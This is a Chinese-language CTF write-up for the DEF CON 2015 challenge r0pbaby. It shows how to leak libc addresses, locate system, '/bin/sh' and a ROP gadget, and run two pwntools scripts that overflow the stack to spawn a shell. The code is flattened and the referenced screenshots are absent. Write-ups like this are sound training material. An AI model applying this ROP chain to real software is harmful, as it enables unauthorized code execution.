[详细] ROP：绕过ASLR&NX

这次使用的程序是Defcon - 2015初赛题目，r0pbaby，也是一道经典的pwn题目了。
程序链接：https://pan.baidu.com/s/1kr6z_crZfW7qNjtASmRMGw 提取码：eajs
NX策略是指在栈中的代码不会被执行，ASLR是使共享库的装载位置随机化不可预测。

信息搜集

首先查看是64位还是32位文件：

然后查看安全策略：

可见开启了NX和PIE，PIE也就是ASLR。然后在IDA中查看伪代码，无需详细阅读，直接找溢出函数即可：

然后在linux中运行这个文件，查看究竟是怎么工作的，包括溢出方式等：

可以看出，功能1是获取libc的地址，功能2是获取一个libc函数的地址，功能3是输入一个字符串，然后会溢出。

寻找溢出位置

在功能三中可以输入字符串并且可能（一定）溢出，那么我们就寻找溢出的点：

可以看出，20个字符已经造成了溢出，最后确定是在第9个字符位置溢出覆盖了返回地址，也就是我们需要在第9个字符位置构造覆盖的返回值。

利用思路

由于文件开启了NX策略，无法直接在栈上写shellcode，又因为开启了ASLR，无法在静态调试中确定各个函数或者参数（system和"/bin/sh"）的地址。但这个文件的前两个功能给了我们可以获取程序在执行中libc装载位置的功能。

所以，我们的具体利用思路是，找到system和/bin/sh的位置，然后利用栈溢出来获取shell，但这个文件是64位文件，参数存储的位置不是在栈中，x86_64下函数的第一个参数会放在rdi中，所以我们将参数写在栈中是没用的，要想办法将参数（"/bin/sh"）放在rdi寄存器中。而我们通过栈溢出只能直接操作栈中的数据，那么从栈中到寄存器最方便的指令就是pop rdi，又要考虑到调用system函数，最终我们需要找到形如这样的三个连续指令：

pop rdi
pop rax
call rax

现在可以去IDA中寻找了，但在r0pbaby文件中并没有找到system函数：

但我们发现在程序中打开了libc库：

system函数在libc之中，我们可以去用IDA调试libc来寻找我们要的东西，libc在linux的/lib/x86_64-linux-gnu/目录下，使用命令：ls -l /lib/x86_64-linux-gnu/libc.so.6可以查看当前版本的libc文件（环境不同会不同，建议导出自己的libc查看自己的地址，我这里的不适用全体），将其导出用IDA打开，然后查找system：

system的地址是0x44bf0。然后寻找/bin/sh：

"/bin/sh"的地址是0x181519，然后寻找上诉pop rdi的代码串，使用搜索-文本，搜寻pop rdi，根据结果一个一个的看，知道找出满足的为止：

可见，地址为0xf988b的一段代码满足要求，但顺序是先pop rax然后pop rdi需要注意。现在已经找到利用所需的全部代码了，唯一需要解决的就是libc的动态装载地址，但程序运行时第一个功能提供给我们了。接下来我们进行exp的编写，整个栈溢出结构如下：

编写代码如下：

#!/usr/bin/python
from pwn import *
def getLibcAddr(elf):elf.sendline('1')ret = elf.recv().split(' ')[-18].split('\n')[0]#获取libc的执行时地址ret = long(ret, 16)#转换为long型return ret
def pwn(elf,rtnAddr,binshAddr,sysAddr):elf.sendline('3')elf.recv()elf.sendline('32')payload = 'A' * 8 + p64(rtnAddr) + p64(sysAddr) + p64(binshAddr) #按照上图构造elf.sendline(payload)elf.recv()print 1return
if __name__ == '__main__':elf = process('./r0pbaby')libcAddr = getLibcAddr(elf)rtnAddr = 0xF988B+libcAddr #相对地址为执行时的libc地址加上偏移量binshAddr = 0x181519+libcAddr #相对地址为执行时的libc地址加上偏移量sysAddr = 0x44bf0+libcAddr #相对地址为执行时的libc地址加上偏移量pwn(elf,rtnAddr,binshAddr,sysAddr)elf.interactive() #获取一个shellelf.close()

写完代码后发现无法pwn成功：

其实只要仔细观察就会发现这之中有问题：

libc的地址是0x00007FEEAE6E9500，system的地址是0x00007FEEAE567BF0，之前看见system在libc之中的偏移地址是0x44bf0，0x7FEEAE6E9500+0x44bf0=0x7FEEAE72E0F0而不是0x7FEEAE567BF0，说明程序中给的libc和system的地址有一个有误，但并不确定是哪个，所以我们再根据system重新计算的代码写好：

#!/usr/bin/python
from pwn import *
def getSysAddr(elf):elf.sendline('2')elf.recv()elf.sendline('system')ret = elf.recv().split(' ')[-18].split('\n')[0]ret = long(ret, 16)return ret
def pwn(elf,rtnAddr,binshAddr,sysAddr):elf.sendline('3')elf.recv()elf.sendline('32')payload = 'A' * 8 + p64(rtnAddr) + p64(sysAddr) + p64(binshAddr)elf.sendline(payload)elf.recv()print 1return
if __name__ == '__main__':elf = process('./r0pbaby')sysAddr = getSysAddr(elf)sysLibcAddr = 0x44bf0offset=sysAddr-sysLibcAddr #偏移地址rtnAddr=0xF988B+offsetbinshAddr=0x181519+offsetpwn(elf,rtnAddr,binshAddr,sysAddr)elf.interactive()elf.close()

其中关于地址的计算可以看下图：

执行发现成功pwn：